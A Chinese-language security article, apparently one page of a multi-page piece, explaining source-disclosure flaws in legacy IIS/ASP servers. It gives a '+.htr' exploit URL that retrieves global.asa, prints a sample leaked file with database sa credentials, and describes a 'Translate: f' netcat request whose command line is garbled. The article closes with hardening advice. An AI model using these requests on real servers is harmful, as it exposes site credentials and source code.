一般说来,在任何一个建在 IIS ASP 以及 SQL Server 之上的网站中,让黑客感兴趣的资料是global.asa。这个global.asa 档案是存在于网站文件根目录之下,它含有一些网页应用程序的设定参数。设定的参数可以包括事先定义好的变量,数据库使用者识别码及密码,系统名称,以及数据库服务器地址。一旦黑客们取得 global.asa,就等于取得了整个网站大门的钥匙。
例如,利用以下的URL: http://10.11.11.15/global.asa+.htr可以取得10.11.11.15上面的 global.asa 档案。注意那个数据库连接字符串中的 UID 和 PWD。这给了黑客一个使用者名称以及密码:
| SCRIPT LANGUAGE="VBScript" RUNAT="Server"> Sub Application_OnStart Set Db = Server.CreateObject("Commerce.DbServer") Db.ConnectionString = "DSN=trans.db;UID=sa;PWD=n0t4u2c" Db.Application = http://10.11.11.15/ Set Application("Db") = Db End Sub Sub Session_OnStart '==Visual InterDev Generated - DataConnection startspan== '--Project Data Connection Session("DataConn_ConnectionString") = "DSN=CertSrv;DBQ=C:\WINNT2\System32\CertLog\certsrv.mdb;DriverId=25; FIL=MS Access;MaxBufferSize=512;PageTimeout=5;" Session("DataConn_ConnectionTimeout") = 15 Session("DataConn_CommandTimeout") = 30 Session("DataConn_RuntimeUserName") = "" Session("DataConn_RuntimePassword") = "" '==Visual InterDev Generated - DataConnection endspan== End Sub /SCRIPT |
在.htr 安全漏洞得到修正之后,黑客们又找到了新的切入点:Translate: f 模块的安全漏洞。Translate: f 模块是 Microsoft 为了 FrontPage 2000 以及 FrontPage 2000 Server extensions on Windows 2000 而设计的 WebDAV 的一部份。如果一个反斜线(\)被附加到所要求的档案资源之后,而且 Translate: f 模块在提出回询的 HTTP 表头标题里面,那么网页服务器就会回传完全未经处理的 ASP 原始程序代码。
下面是一个使用 Netcat(相关网址:http://www.l0pht.com/~weld/netcat/)送出回询的 HTTP 表头,可以用来取得10.11.11.15上面 default.asp 的原始程序代码:
$ nc10.11.11.1580 |
结论:
系统架设时的不小心,程序编写时的不注意,往往就是可能导致泄密的主因。为了减少你的网页服务器不会再遭受这种安全漏洞的威胁,你要确定你的网页服务器没有任何会泄漏珍贵信息的程序或不必要的 script 以及档案,只安装你需要的东西,并且定期使用安全检测软件对服务器进行检查,到网上了解最新的系统安全消息和知识。
[1] [2]